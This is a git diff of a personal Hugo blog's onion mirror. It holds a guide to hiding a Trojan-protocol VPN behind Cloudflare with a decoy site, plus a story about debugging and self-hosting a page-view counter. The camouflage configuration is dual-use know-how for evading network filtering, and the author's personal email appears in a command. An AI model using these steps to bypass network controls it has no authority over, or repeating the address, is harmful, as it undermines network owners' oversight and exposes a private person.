/etc/letsencrypt/live/web.example.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem; + + # Fake website at root + location / { + root /var/www/html; + index index.html; + } + + # Real VPN under secret WS path + location /stealth-path_abcd1234 { + proxy_pass http://127.0.0.1:54321; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Host $host; + } +} +``` + +--- + +## Step 4: Firewall Rules +Lock things down! Only Cloudflare should reach you: +```bash +ufw allow 22/tcp +ufw allow 80/tcp +ufw allow 443/tcp +ufw deny 54321/tcp +``` + +--- + +## Step 5: Client Config +Trojan URI: +``` +trojan://@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN +``` + +iOS clients: Shadowrocket, Stash, FoXray +Android clients: v2rayNG, Clash Meta, NekoBox + +--- + +## Debugging Time (a.k.a. “Why the heck doesn’t it work?!”) + +### Symptom: **520 Unknown Error (Cloudflare)** +- Likely cause: Nginx couldn’t talk to Trojan. +- Check Nginx error log: + ```bash + tail -n 50 /var/log/nginx/error.log + ``` +- If you see `upstream sent no valid HTTP/1.0 header` → you’re mixing HTTPS/HTTP between Nginx and Trojan. + +--- + +### Symptom: **526 Invalid SSL certificate** +- Cloudflare → Nginx cert mismatch. +- Run: + ```bash + openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts + ``` +- Make sure CN = `web.example.com`. If not, fix your cert. + +--- + +### Symptom: **Blank page on panel** +- Check if the base path matches exactly (case-sensitive, slash-sensitive). +- Watch for sneaky trailing spaces! +- Test locally: + ```bash + curl -s -D- http://127.0.0.1:46309/panel-bananas_42/ + ``` + +--- + +### Symptom: **Client won’t connect** +- Run a WebSocket test: + ```bash + curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234 + ``` + Expect `101 Switching Protocols`. If not, check Nginx config. + +--- + +### Symptom: **Censor still blocks you** +- Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP? + → They’ll find your origin IP. Use a second VPS or lock those ports down. +- Did you use an obvious path like `/ws`? + → Use a random-looking one like `/cdn-assets-329df/`. + +--- + +## Pro Tips & Fun Tricks +- Serve a fake blog or portfolio at root so your domain looks legit. +- Rotate WebSocket paths occasionally. +- Use Cloudflare **Page Rules** to disable Rocket Loader & Minify for your VPN domain. +- Make friends with your Nginx error.log — it will roast you but it tells the truth. + +--- + +## Conclusion +By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise: +- Looks like normal HTTPS. +- Hides your origin IP. +- Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass. + +Congrats — you’ve built a VPN with both **style** and **stealth**. 🥷 + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/vpn.md.asc b/public-onion/sources/posts/vpn.md.asc new file mode 100644 index 0000000..2367660 --- /dev/null +++ b/public-onion/sources/posts/vpn.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y= +=IovZ +-----END PGP SIGNATURE----- diff --git a/public-onion/tags/3x-ui/index.html b/public-onion/tags/3x-ui/index.html new file mode 100644 index 0000000..03bfdfb --- /dev/null +++ b/public-onion/tags/3x-ui/index.html @@ -0,0 +1,356 @@ + + + + + + + +3x-Ui | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Stealth Trojan VPN Behind Cloudflare Guide +

    +
    +
    +

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    +
    +
    September 9, 2025 · 4 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/3x-ui/index.xml b/public-onion/tags/3x-ui/index.xml new file mode 100644 index 0000000..7156aa3 --- /dev/null +++ b/public-onion/tags/3x-ui/index.xml @@ -0,0 +1,195 @@ + + + + 3x-Ui on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/3x-ui/ + Recent content in 3x-Ui on AlipourIm journeys + Hugo -- 0.146.0 + en + Tue, 09 Sep 2025 11:05:00 +0200 + + + Stealth Trojan VPN Behind Cloudflare Guide + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + Tue, 09 Sep 2025 11:05:00 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + <h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p> + Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/3x-ui/page/1/index.html b/public-onion/tags/3x-ui/page/1/index.html new file mode 100644 index 0000000..382b658 --- /dev/null +++ b/public-onion/tags/3x-ui/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/3x-ui/ + + + + + + diff --git a/public-onion/tags/analytics/index.html b/public-onion/tags/analytics/index.html new file mode 100644 index 0000000..1028aa9 --- /dev/null +++ b/public-onion/tags/analytics/index.html @@ -0,0 +1,352 @@ + + + + + + + +Analytics | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) +

    +
    +
    +

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    +
    +
    October 18, 2025 · 9 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/analytics/index.xml b/public-onion/tags/analytics/index.xml new file mode 100644 index 0000000..1542179 --- /dev/null +++ b/public-onion/tags/analytics/index.xml @@ -0,0 +1,355 @@ + + + + Analytics on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/analytics/ + Recent content in Analytics on AlipourIm journeys + Hugo -- 0.146.0 + en + Sat, 18 Oct 2025 10:45:00 +0000 + + + A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + Sat, 18 Oct 2025 10:45:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix. + I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

